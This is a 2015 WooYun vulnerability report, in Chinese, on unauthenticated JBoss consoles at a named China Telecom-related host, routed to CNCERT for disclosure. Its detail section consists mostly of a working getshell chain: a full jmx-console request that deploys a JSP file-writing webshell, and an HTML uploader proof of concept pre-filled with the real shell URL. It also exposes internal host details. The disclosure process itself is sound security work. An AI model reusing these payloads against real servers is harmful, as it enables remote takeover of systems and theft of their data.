当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091771

漏洞标题:中国电信某站jboss控制不严导致getshell

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-01-14 18:08

修复时间:2015-02-28 18:10

公开时间:2015-02-28 18:10

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-19: 厂商已经确认,细节仅向厂商公开
2015-01-29: 细节向核心白帽子及相关领域专家公开
2015-02-08: 细节向普通白帽子公开
2015-02-18: 细节向实习白帽子公开
2015-02-28: 细节向公众公开

简要描述:

RT~

详细说明:

问题系统:http://cmp.surfing3c.com:9500/platform/framework/global/login.jsp
jboss未授权访问:http://cmp.surfing3c.com:9500/
http://cmp.surfing3c.com:9500/web-console/
配置信息:

Start date: Fri Jan 09 01:07:33 CST 2015
Host: cmp02 (10.12.6.37)
Base Location: file:/szdx/jboss-cmp/server/
Base Location (local): /szdx/jboss-cmp/server
Running config: 'default'


通过以下链接得到shell.jsp

http://cmp.surfing3c.com:9500/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True


然后就是传一句话。地址:http://cmp.surfing3c.com:9500/upload5warn/css.jsp

360截图20150114091912703.jpg


360截图20150114091929046.jpg

漏洞证明:

通过以下poc传几句话。

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>jsp-test</title>
</head>
<style>
.main{width:980px;height:600px;margin:0 auto;}
.url{width:300px;}
.fn{width:60px;}
.content{width:80%;height:60%;}
</style>
<script>
function upload(){
var url = document.getElementById('url').value,
content = document.getElementById('content').value,
fileName = document.getElementById('fn').value,
form = document.getElementById('fm');
if(url.length == 0){
alert("Url not allowd empty!");
return ;
}
if(content.length == 0){
alert("Content not allowd empty!");
return ;
}
if(fileName.length == 0){
alert("FileName not allowd empty!");
return ;
}
form.action = url;
form.submit();
}
</script>
<body>
<div class="main">
<form id="fm" method="post">
URL:<input type="text" value="http://cmp.surfing3c.com:9500/upload5warn/shell.jsp" class="url" id="url" />
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />
<a href="javascript:upload();">Upload</a><br/>
<textarea id="content" class="content" name="t" ></textarea>
</form>
</div>
</body>
</html>

修复方案:

补。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-01-19 12:27

厂商回复:

CNVD确认所述情况,转由CNCERT向中国电信。

最新状态:

暂无